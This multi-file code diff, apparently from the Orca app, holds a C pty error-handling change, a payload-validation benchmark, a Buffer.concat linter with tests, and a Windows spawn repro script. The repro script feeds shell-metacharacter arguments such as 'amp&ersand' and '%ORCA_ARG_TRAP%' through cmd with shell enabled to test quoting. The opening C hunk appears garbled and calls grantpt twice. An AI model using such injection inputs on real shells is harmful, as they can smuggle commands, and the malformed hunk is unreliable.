@@ -706,80 +777,118 @@ pty_posix_spawn(char** argv, char** env,
|
||||
@@ -706,80 +796,118 @@ pty_posix_spawn(char** argv, char** env,
|
||||
POSIX_SPAWN_SETSID;
|
||||
*master = posix_openpt(O_RDWR);
|
||||
if (*master == -1) {
|
||||
- return;
|
||||
+ pty_set_spawn_error(err, "posix_openpt", errno);
|
||||
+ goto done;
|
||||
+ }
|
||||
+
|
||||
+ res = grantpt(*master);
|
||||
+ if (res == -1) {
|
||||
+ pty_set_spawn_error(err, "grantpt", errno);
|
||||
+ goto done;
|
||||
}
|
||||
|
||||
- int res = grantpt(*master) || unlockpt(*master);
|
||||
+ res = unlockpt(*master);
|
||||
+ res = grantpt(*master);
|
||||
if (res == -1) {
|
||||
- return;
|
||||
+ pty_set_spawn_error(err, "grantpt", errno);
|
||||
+ goto done;
|
||||
+ }
|
||||
+
|
||||
+ res = unlockpt(*master);
|
||||
+ if (res == -1) {
|
||||
+ pty_set_spawn_error(err, "unlockpt", errno);
|
||||
+ goto done;
|
||||
}
|
||||
|
||||
+1053
-51
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,220 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of validating an agent-status payload on every hook event.
|
||||
//
|
||||
// 13 of the 15 per-source normalizers in agent-hook-listener.ts built a plain
|
||||
// object, JSON.stringify'd it, and handed the string to parseAgentStatusPayload,
|
||||
// which runs assertJsonTextStructureWithinLimits (a per-character scan of the
|
||||
// WHOLE serialized string) plus JSON.parse — only to reach the same
|
||||
// normalizeAgentStatusObject the object path calls directly. Claude and Codex
|
||||
// were already converted, with a comment calling the round trip "pure overhead
|
||||
// on this hot per-hook path"; the other 13 were not.
|
||||
//
|
||||
// Why the gap widens with payload size: the direct path's field normalizer stops
|
||||
// at the field cap (`normalized.length < maxLength`), so it is O(cap). The round
|
||||
// trip is O(input) — and the input is bounded only by the 1 MB hook request
|
||||
// limit, since tool_response text is passed through uncapped for most sources.
|
||||
//
|
||||
// Amplifier this models in the second table: resolveToolState stores the raw
|
||||
// value in lastToolByPaneKey and inherits it until a turn reset, so one large
|
||||
// tool result is re-serialized and re-scanned on every later event of the turn.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const TYPES_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/agent-status-types.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function readMirroredConstant(name) {
|
||||
const match = TYPES_SOURCE.match(new RegExp(`${name}\\s*=\\s*([0-9_]+)`))
|
||||
if (!match) {
|
||||
throw new Error(`agent-status-types.ts no longer defines ${name}; re-sync this benchmark.`)
|
||||
}
|
||||
return Number(match[1].replaceAll('_', ''))
|
||||
}
|
||||
|
||||
// Read the cap the direct path clamps at, so a drifted value fails loudly here
|
||||
// instead of quietly changing what this benchmark claims.
|
||||
const ASSISTANT_MESSAGE_CAP = readMirroredConstant('AGENT_STATUS_ASSISTANT_MESSAGE_MAX_LENGTH')
|
||||
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_ITERATIONS ?? '400', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_WARMUP ?? '200', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_HOOK_NORM_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_HOOK_NORM_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
const STRUCTURAL_TOKENS = 4096
|
||||
const NESTING_DEPTH = 16
|
||||
|
||||
// Mirror of assertJsonTextStructureWithinLimits — the per-character scan the
|
||||
// round trip pays before JSON.parse even starts.
|
||||
function scanJsonStructure(content) {
|
||||
let structuralTokens = 0
|
||||
let depth = 0
|
||||
let inString = false
|
||||
let escaped = false
|
||||
for (let index = 0; index < content.length; index += 1) {
|
||||
const character = content[index]
|
||||
if (inString) {
|
||||
if (escaped) {
|
||||
escaped = false
|
||||
} else if (character === '\\') {
|
||||
escaped = true
|
||||
} else if (character === '"') {
|
||||
inString = false
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (character === '"') {
|
||||
inString = true
|
||||
continue
|
||||
}
|
||||
if (
|
||||
character !== '{' &&
|
||||
character !== '}' &&
|
||||
character !== '[' &&
|
||||
character !== ']' &&
|
||||
character !== ',' &&
|
||||
character !== ':'
|
||||
) {
|
||||
continue
|
||||
}
|
||||
structuralTokens += 1
|
||||
if (structuralTokens > STRUCTURAL_TOKENS) {
|
||||
throw new Error('structuralTokens')
|
||||
}
|
||||
if (character === '{' || character === '[') {
|
||||
depth += 1
|
||||
if (depth > NESTING_DEPTH) {
|
||||
throw new Error('nestingDepth')
|
||||
}
|
||||
} else if (character === '}' || character === ']') {
|
||||
depth = Math.max(0, depth - 1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Mirror of the field normalizer's bounded walk: it stops consuming at the cap.
|
||||
function normalizeField(value, maxLength) {
|
||||
if (typeof value !== 'string') {
|
||||
return undefined
|
||||
}
|
||||
let normalized = ''
|
||||
let newlineRun = 0
|
||||
for (let index = 0; index < value.length && normalized.length < maxLength; index += 1) {
|
||||
const code = value.charCodeAt(index)
|
||||
if (code === 13 || code === 10 || code === 0x2028 || code === 0x2029) {
|
||||
if (code === 13 && value.charCodeAt(index + 1) === 10) {
|
||||
index += 1
|
||||
}
|
||||
if (newlineRun < 2) {
|
||||
normalized += '\n'
|
||||
}
|
||||
newlineRun += 1
|
||||
continue
|
||||
}
|
||||
newlineRun = 0
|
||||
normalized += value[index]
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
function normalizeObject(payload) {
|
||||
return {
|
||||
state: payload.state,
|
||||
prompt: normalizeField(payload.prompt, ASSISTANT_MESSAGE_CAP),
|
||||
agentType: payload.agentType,
|
||||
toolName: normalizeField(payload.toolName, ASSISTANT_MESSAGE_CAP),
|
||||
toolInput: normalizeField(payload.toolInput, ASSISTANT_MESSAGE_CAP),
|
||||
lastAssistantMessage: normalizeField(payload.lastAssistantMessage, ASSISTANT_MESSAGE_CAP)
|
||||
}
|
||||
}
|
||||
|
||||
// Pre-fix: serialize, scan every character, parse, then normalize.
|
||||
function validateViaRoundTrip(payload) {
|
||||
const json = JSON.stringify(payload)
|
||||
scanJsonStructure(json)
|
||||
return normalizeObject(JSON.parse(json))
|
||||
}
|
||||
|
||||
// Post-fix: normalize the object that is already in hand.
|
||||
function validateDirect(payload) {
|
||||
return normalizeObject(payload)
|
||||
}
|
||||
|
||||
function makePayload(messageBytes) {
|
||||
return {
|
||||
state: 'working',
|
||||
prompt: 'do the thing',
|
||||
agentType: 'grok',
|
||||
toolName: 'shell_command',
|
||||
toolInput: 'ls -la',
|
||||
lastAssistantMessage: 'x'.repeat(messageBytes)
|
||||
}
|
||||
}
|
||||
|
||||
function measure(fn, payload) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
fn(payload)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
fn(payload)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const rows = []
|
||||
for (const kb of [4, 16, 64, 256]) {
|
||||
const payload = makePayload(kb * 1024)
|
||||
const before = validateViaRoundTrip(payload)
|
||||
const after = validateDirect(payload)
|
||||
if (JSON.stringify(before) !== JSON.stringify(after)) {
|
||||
throw new Error(`normalizer mismatch at ${kb} KB`)
|
||||
}
|
||||
rows.push({
|
||||
label: `${kb} KB`,
|
||||
beforeUs: measure(validateViaRoundTrip, payload) * 1000,
|
||||
afterUs: measure(validateDirect, payload) * 1000
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Agent-status payload validation, per hook event')
|
||||
console.log(
|
||||
`field cap=${ASSISTANT_MESSAGE_CAP} iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`
|
||||
)
|
||||
console.log(
|
||||
`${pad('payload', 9)} ${pad('round trip', 12)} ${pad('direct', 10)} ${pad('speedup', 9)}`
|
||||
)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(row.label, 9)} ${pad(`${row.beforeUs.toFixed(1)} us`, 12)} ${pad(`${row.afterUs.toFixed(1)} us`, 10)} ${pad(`${(row.beforeUs / row.afterUs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
|
||||
// A single large tool result is inherited across the turn, so every later event
|
||||
// re-pays the round trip on bytes that were already validated once.
|
||||
const TURN_EVENTS = 20
|
||||
const inherited = makePayload(200 * 1024)
|
||||
const beforeTurnMs = (measure(validateViaRoundTrip, inherited) * TURN_EVENTS).toFixed(2)
|
||||
const afterTurnMs = (measure(validateDirect, inherited) * TURN_EVENTS).toFixed(2)
|
||||
console.log(
|
||||
`\nOne 200 KB tool result, inherited across ${TURN_EVENTS} later events in the same turn:` +
|
||||
`\n round trip ${beforeTurnMs} ms total direct ${afterTurnMs} ms total`
|
||||
)
|
||||
console.log(
|
||||
'\nThe direct path is flat because the field normalizer stops at the cap; the\nround trip is linear in the raw payload, which is bounded only by the 1 MB\nhook request limit.'
|
||||
)
|
||||
@@ -0,0 +1,343 @@
|
||||
import fs from 'node:fs/promises'
|
||||
import path from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import process from 'node:process'
|
||||
|
||||
// TypeScript 7 is a native CLI; AST consumers still need the legacy JavaScript API.
|
||||
import ts from 'typescript-api'
|
||||
|
||||
const SOURCE_EXTENSIONS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.mts', '.cts'])
|
||||
const SKIP_PATH_PARTS = new Set(['node_modules', 'dist', 'out', '.git', '__snapshots__'])
|
||||
const SCAN_ROOTS = ['src', 'config/scripts', 'tools', 'tests', 'mobile']
|
||||
|
||||
const LOOP_KINDS = new Set([
|
||||
ts.SyntaxKind.ForStatement,
|
||||
ts.SyntaxKind.ForInStatement,
|
||||
ts.SyntaxKind.ForOfStatement,
|
||||
ts.SyntaxKind.WhileStatement,
|
||||
ts.SyntaxKind.DoStatement
|
||||
])
|
||||
|
||||
const ASSIGNMENT_OPERATORS = new Set([
|
||||
ts.SyntaxKind.EqualsToken,
|
||||
ts.SyntaxKind.PlusEqualsToken,
|
||||
ts.SyntaxKind.QuestionQuestionEqualsToken,
|
||||
ts.SyntaxKind.BarBarEqualsToken,
|
||||
ts.SyntaxKind.AmpersandAmpersandEqualsToken
|
||||
])
|
||||
|
||||
function normalizeReferenceText(text) {
|
||||
return text.replaceAll(/\s+/g, '')
|
||||
}
|
||||
|
||||
// The variable a member/call chain ultimately reads, so `carry.subarray(0, n)`
|
||||
// still resolves to `carry`. `this.x` stops at the property: the class field is
|
||||
// the accumulator.
|
||||
function rootReferenceText(node) {
|
||||
if (ts.isIdentifier(node)) {
|
||||
return node.text
|
||||
}
|
||||
if (ts.isPropertyAccessExpression(node)) {
|
||||
return node.expression.kind === ts.SyntaxKind.ThisKeyword
|
||||
? normalizeReferenceText(node.getText())
|
||||
: rootReferenceText(node.expression)
|
||||
}
|
||||
if (
|
||||
ts.isElementAccessExpression(node) ||
|
||||
ts.isCallExpression(node) ||
|
||||
ts.isNonNullExpression(node) ||
|
||||
ts.isParenthesizedExpression(node) ||
|
||||
ts.isAsExpression(node)
|
||||
) {
|
||||
return rootReferenceText(node.expression)
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
function isBufferConcatCall(node) {
|
||||
return (
|
||||
ts.isCallExpression(node) &&
|
||||
ts.isPropertyAccessExpression(node.expression) &&
|
||||
node.expression.name.text === 'concat' &&
|
||||
ts.isIdentifier(node.expression.expression) &&
|
||||
node.expression.expression.text === 'Buffer' &&
|
||||
node.arguments.length > 0 &&
|
||||
ts.isArrayLiteralExpression(node.arguments[0])
|
||||
)
|
||||
}
|
||||
|
||||
function enclosingLoop(node) {
|
||||
for (let current = node.parent; current; current = current.parent) {
|
||||
if (LOOP_KINDS.has(current.kind)) {
|
||||
return current
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// A `for (let acc = ...; ;)` binding is loop-carried even though it sits inside
|
||||
// the loop node, so the initializer does not count as loop-local.
|
||||
function isDeclaredInsideLoop(declarationStart, loop) {
|
||||
if (declarationStart < loop.getStart() || declarationStart >= loop.end) {
|
||||
return false
|
||||
}
|
||||
const initializer = ts.isForStatement(loop) ? loop.initializer : undefined
|
||||
if (!initializer) {
|
||||
return true
|
||||
}
|
||||
return declarationStart < initializer.getStart() || declarationStart >= initializer.end
|
||||
}
|
||||
|
||||
function collectBindingNames(name, into) {
|
||||
if (ts.isIdentifier(name)) {
|
||||
into.push(name)
|
||||
return
|
||||
}
|
||||
if (ts.isObjectBindingPattern(name) || ts.isArrayBindingPattern(name)) {
|
||||
for (const element of name.elements) {
|
||||
if (ts.isBindingElement(element)) {
|
||||
collectBindingNames(element.name, into)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function collectDeclarations(sourceFile) {
|
||||
const declarations = new Map()
|
||||
const record = (identifier, node) => {
|
||||
const existing = declarations.get(identifier.text)
|
||||
const start = node.getStart(sourceFile)
|
||||
if (existing) {
|
||||
existing.push(start)
|
||||
} else {
|
||||
declarations.set(identifier.text, [start])
|
||||
}
|
||||
}
|
||||
|
||||
const visit = (node) => {
|
||||
if (ts.isVariableDeclaration(node) || ts.isParameter(node)) {
|
||||
const names = []
|
||||
collectBindingNames(node.name, names)
|
||||
for (const identifier of names) {
|
||||
record(identifier, node)
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
|
||||
visit(sourceFile)
|
||||
return declarations
|
||||
}
|
||||
|
||||
function collectAssignedRoots(loop) {
|
||||
const assigned = new Set()
|
||||
const visit = (node) => {
|
||||
if (ts.isBinaryExpression(node) && ASSIGNMENT_OPERATORS.has(node.operatorToken.kind)) {
|
||||
const root = rootReferenceText(node.left)
|
||||
if (root) {
|
||||
assigned.add(root)
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
visit(loop.statement)
|
||||
return assigned
|
||||
}
|
||||
|
||||
// Unwrap the wrappers a concat result passes through before it lands on the
|
||||
// left-hand side, so `acc = cond ? Buffer.concat([acc, c]) : c` still counts.
|
||||
function assignmentTargetOf(call) {
|
||||
let node = call
|
||||
let parent = node.parent
|
||||
while (
|
||||
parent &&
|
||||
(ts.isParenthesizedExpression(parent) ||
|
||||
ts.isAsExpression(parent) ||
|
||||
ts.isNonNullExpression(parent) ||
|
||||
(ts.isConditionalExpression(parent) && parent.condition !== node))
|
||||
) {
|
||||
node = parent
|
||||
parent = parent.parent
|
||||
}
|
||||
if (
|
||||
parent &&
|
||||
ts.isBinaryExpression(parent) &&
|
||||
parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
|
||||
parent.right === node
|
||||
) {
|
||||
return {
|
||||
text: normalizeReferenceText(parent.left.getText()),
|
||||
root: rootReferenceText(parent.left)
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
function concatOperands(call) {
|
||||
return call.arguments[0].elements.map((element) => {
|
||||
const spread = ts.isSpreadElement(element)
|
||||
const expression = spread ? element.expression : element
|
||||
return {
|
||||
spread,
|
||||
text: normalizeReferenceText(expression.getText()),
|
||||
root: rootReferenceText(expression)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// A binding reset on every iteration cannot accumulate; only one that outlives
|
||||
// the iteration carries the cost forward.
|
||||
function isLoopCarried(root, loop, declarations) {
|
||||
const starts = declarations.get(root)
|
||||
if (!starts) {
|
||||
return true
|
||||
}
|
||||
return !starts.some((start) => isDeclaredInsideLoop(start, loop))
|
||||
}
|
||||
|
||||
function quadraticAccumulator(call, loop, declarations, assignedRoots) {
|
||||
const operands = concatOperands(call)
|
||||
const target = assignmentTargetOf(call)
|
||||
// The result feeds straight back into its own input: every iteration re-copies
|
||||
// everything accumulated so far.
|
||||
const selfOperand = target
|
||||
? operands.find((operand) => operand.text === target.text || operand.root === target.root)
|
||||
: undefined
|
||||
if (selfOperand && target.root && isLoopCarried(target.root, loop, declarations)) {
|
||||
return target.text
|
||||
}
|
||||
|
||||
// No direct self-assignment, so look for a loop-carried operand reassigned
|
||||
// inside the loop: the concat result reaches it by some other path. Spread
|
||||
// operands are the sanctioned chunk-list fix, not this bug, so skip them.
|
||||
for (const operand of operands) {
|
||||
if (operand.spread || !operand.root || !assignedRoots.has(operand.root)) {
|
||||
continue
|
||||
}
|
||||
if (isLoopCarried(operand.root, loop, declarations)) {
|
||||
return operand.root
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
export function reportQuadraticBufferConcat(filePath, sourceText) {
|
||||
if (!sourceText.includes('Buffer.concat')) {
|
||||
return []
|
||||
}
|
||||
const sourceFile = ts.createSourceFile(filePath, sourceText, ts.ScriptTarget.Latest, true)
|
||||
const declarations = collectDeclarations(sourceFile)
|
||||
const assignedRootsByLoop = new Map()
|
||||
const reports = []
|
||||
const seen = new Set()
|
||||
|
||||
const visit = (node) => {
|
||||
if (isBufferConcatCall(node)) {
|
||||
const loop = enclosingLoop(node)
|
||||
if (loop) {
|
||||
let assignedRoots = assignedRootsByLoop.get(loop)
|
||||
if (!assignedRoots) {
|
||||
assignedRoots = collectAssignedRoots(loop)
|
||||
assignedRootsByLoop.set(loop, assignedRoots)
|
||||
}
|
||||
const accumulator = quadraticAccumulator(node, loop, declarations, assignedRoots)
|
||||
if (accumulator) {
|
||||
const start = node.getStart(sourceFile)
|
||||
if (!seen.has(start)) {
|
||||
seen.add(start)
|
||||
const { line, character } = sourceFile.getLineAndCharacterOfPosition(start)
|
||||
reports.push({
|
||||
filePath,
|
||||
line: line + 1,
|
||||
column: character + 1,
|
||||
accumulator,
|
||||
text: node.getText()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
|
||||
visit(sourceFile)
|
||||
return reports
|
||||
}
|
||||
|
||||
export function normalizePath(root, filePath) {
|
||||
return path.relative(root, filePath).split(path.sep).join('/')
|
||||
}
|
||||
|
||||
function isSkippedFile(root, filePath) {
|
||||
const relative = normalizePath(root, filePath)
|
||||
// Benchmarks keep the pre-fix shape on purpose so they can measure against it.
|
||||
if (
|
||||
relative.includes('.test.') ||
|
||||
relative.includes('.spec.') ||
|
||||
relative.includes('-benchmark.')
|
||||
) {
|
||||
return true
|
||||
}
|
||||
return relative.split('/').some((part) => SKIP_PATH_PARTS.has(part))
|
||||
}
|
||||
|
||||
async function collectSourceFiles(root, dir) {
|
||||
let entries
|
||||
try {
|
||||
entries = await fs.readdir(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
const files = []
|
||||
|
||||
for (const entry of entries) {
|
||||
const fullPath = path.join(dir, entry.name)
|
||||
if (entry.isDirectory()) {
|
||||
if (!SKIP_PATH_PARTS.has(entry.name)) {
|
||||
files.push(...(await collectSourceFiles(root, fullPath)))
|
||||
}
|
||||
} else if (
|
||||
entry.isFile() &&
|
||||
SOURCE_EXTENSIONS.has(path.extname(entry.name)) &&
|
||||
!isSkippedFile(root, fullPath)
|
||||
) {
|
||||
files.push(fullPath)
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
function formatReports(root, reports) {
|
||||
return reports
|
||||
.map(
|
||||
(report) =>
|
||||
`${normalizePath(root, report.filePath)}:${report.line}:${report.column} ${report.accumulator} — ${report.text.replaceAll(/\s+/g, ' ')}`
|
||||
)
|
||||
.join('\n')
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd()) {
|
||||
const reports = []
|
||||
for (const scanRoot of SCAN_ROOTS) {
|
||||
const files = await collectSourceFiles(root, path.join(root, scanRoot))
|
||||
for (const filePath of files) {
|
||||
const sourceText = await fs.readFile(filePath, 'utf8')
|
||||
reports.push(...reportQuadraticBufferConcat(filePath, sourceText))
|
||||
}
|
||||
}
|
||||
if (reports.length === 0) {
|
||||
return 0
|
||||
}
|
||||
|
||||
console.error('Buffer.concat must not rebuild a loop-carried accumulator.')
|
||||
console.error('Each iteration re-copies everything accumulated so far, so the loop is O(n^2).')
|
||||
console.error('Collect the pieces in a Buffer[] and Buffer.concat(chunks) once, after the loop.')
|
||||
console.error('')
|
||||
console.error(formatReports(root, reports))
|
||||
return 1
|
||||
}
|
||||
|
||||
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
|
||||
process.exit(await main())
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { reportQuadraticBufferConcat } from './check-quadratic-buffer-concat.mjs'
|
||||
|
||||
describe('check-quadratic-buffer-concat', () => {
|
||||
it('reports an accumulator rebuilt from itself in a for-of loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('acc')
|
||||
})
|
||||
|
||||
it('reports the accumulator when it trails the new chunk', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([chunk, acc]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports a spread of the accumulator into its own concat', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([...acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports the real pre-fix ai-vault stream carry', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'session-scanner-parse-cache.ts',
|
||||
`async function read(stream) {
|
||||
let remainder = null
|
||||
for await (const chunk of stream) {
|
||||
const data = remainder ? Buffer.concat([remainder, chunk]) : chunk
|
||||
remainder = Buffer.from(data.subarray(lineStart))
|
||||
}
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('remainder')
|
||||
})
|
||||
|
||||
it('reports the real pre-fix transcript reader carry, which never names itself on the left', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'agent-hook-listener.ts',
|
||||
`function read(fd, size) {
|
||||
let carryBytes = Buffer.alloc(0)
|
||||
while (bytesRead < size) {
|
||||
const combined = Buffer.concat([buffer.subarray(0, n), carryBytes])
|
||||
carryBytes = combined.subarray(0, firstNewline)
|
||||
}
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('carryBytes')
|
||||
})
|
||||
|
||||
it('accepts the chunk-list fix that joins once after the loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'const parts = []; for (const chunk of chunks) { parts.push(chunk) } const out = Buffer.concat(parts)'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts spreading a carry chunk list, which is the sanctioned fix', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
`let carryChunks = []
|
||||
while (scanEnd > 0) {
|
||||
const region = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
|
||||
carryChunks = [buffer.subarray(0, firstNewline)]
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts a concat whose result never outlives the iteration', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (const group of groups) { const frame = Buffer.concat([group.header, group.body]); send(frame) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts a loop-local buffer declared and rebuilt inside the same iteration', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (const chunk of chunks) { let framed = HEADER; framed = Buffer.concat([framed, chunk]); send(framed) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('reports an accumulator declared in a classic for initializer', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (let acc = Buffer.alloc(0), i = 0; i < n; i++) { acc = Buffer.concat([acc, chunks[i]]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports a class field accumulator rebuilt inside a loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'class Reader { read() { while (this.open) { this.pending = Buffer.concat([this.pending, chunk]) } } }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('this.pending')
|
||||
})
|
||||
|
||||
it('reports an accumulator guarded by an emptiness ternary', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); while (open) { acc = acc.length === 0 ? chunk : Buffer.concat([acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('ignores a per-event accumulator with no enclosing loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'scrcpy-stream-session.ts',
|
||||
'class S { handleVideoChunk(chunk) { let buffer = Buffer.concat([this.pendingVideo, chunk]); this.pendingVideo = parse(buffer).pending } }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('ignores files with no Buffer.concat at all', () => {
|
||||
expect(reportQuadraticBufferConcat('Example.ts', 'export const x = 1')).toHaveLength(0)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,342 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
import { mkdtemp, mkdir, readFile, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { buildWindowsCommandInvocation } from '../../src/main/claude-accounts/windows-command-invocation.ts'
|
||||
|
||||
const strategy = process.argv[2]
|
||||
if (!['baseline', 'candidate', 'explicit-cmd'].includes(strategy)) {
|
||||
throw new Error(
|
||||
'Usage: node config/scripts/claude-account-windows-spawn-repro.mjs <baseline|candidate|explicit-cmd>'
|
||||
)
|
||||
}
|
||||
if (process.platform !== 'win32') {
|
||||
throw new Error('This reproduction requires a physical Windows host.')
|
||||
}
|
||||
|
||||
const expectedArgs = [
|
||||
'',
|
||||
'two words',
|
||||
'amp&ersand',
|
||||
'pipe|value',
|
||||
'less<value',
|
||||
'greater>value',
|
||||
'caret^value',
|
||||
'trailing\\',
|
||||
'two-trailing\\\\',
|
||||
'(parentheses)',
|
||||
'100%',
|
||||
'%ORCA_ARG_TRAP%',
|
||||
'bang!value',
|
||||
'한글-λ'
|
||||
]
|
||||
const tempRoot = await mkdtemp(join(tmpdir(), 'orca-claude-spawn-'))
|
||||
const reportedDir = join(tempRoot, 'Profile with spaces 한글')
|
||||
const reportedCapturePath = join(reportedDir, 'capture.json')
|
||||
const reportedPidPath = join(reportedDir, 'pids.json')
|
||||
const reportedShimPath = join(reportedDir, 'claude fixture.cmd')
|
||||
const reportedFixturePath = join(reportedDir, 'capture-child.cjs')
|
||||
const fixtureDir = join(tempRoot, 'Profile space & ^ (paren) %ORCA_PATH_TRAP% !bang! 한글')
|
||||
const capturePath = join(fixtureDir, 'capture.json')
|
||||
const pidPath = join(fixtureDir, 'pids.json')
|
||||
const shimPath = join(fixtureDir, 'claude fixture.cmd')
|
||||
const fixturePath = join(fixtureDir, 'capture-child.cjs')
|
||||
const fixtureEnv = {
|
||||
...process.env,
|
||||
CLAUDE_CONFIG_DIR: join(fixtureDir, 'config space & ^ (paren) %ORCA_ENV_LITERAL% !bang! 한글'),
|
||||
ORCA_ARG_TRAP: 'EXPANDED_ARG',
|
||||
ORCA_PATH_TRAP: 'EXPANDED_PATH',
|
||||
ORCA_FIXTURE_CAPTURE: capturePath,
|
||||
ORCA_FIXTURE_PIDS: pidPath,
|
||||
ORCA_FIXTURE_NODE: process.execPath
|
||||
}
|
||||
const reportedEnv = {
|
||||
...fixtureEnv,
|
||||
CLAUDE_CONFIG_DIR: join(reportedDir, 'config with spaces 한글'),
|
||||
ORCA_FIXTURE_CAPTURE: reportedCapturePath,
|
||||
ORCA_FIXTURE_PIDS: reportedPidPath
|
||||
}
|
||||
|
||||
function quoteForCandidate(value) {
|
||||
return `"${value.replace(/"/g, '""')}"`
|
||||
}
|
||||
|
||||
function launch(args, command = shimPath, env = fixtureEnv) {
|
||||
if (strategy === 'baseline') {
|
||||
return spawn(command, args, { cwd: tempRoot, env, shell: true, windowsHide: true })
|
||||
}
|
||||
if (strategy === 'candidate') {
|
||||
return spawn(quoteForCandidate(command), args, {
|
||||
cwd: tempRoot,
|
||||
env,
|
||||
shell: true,
|
||||
windowsHide: true
|
||||
})
|
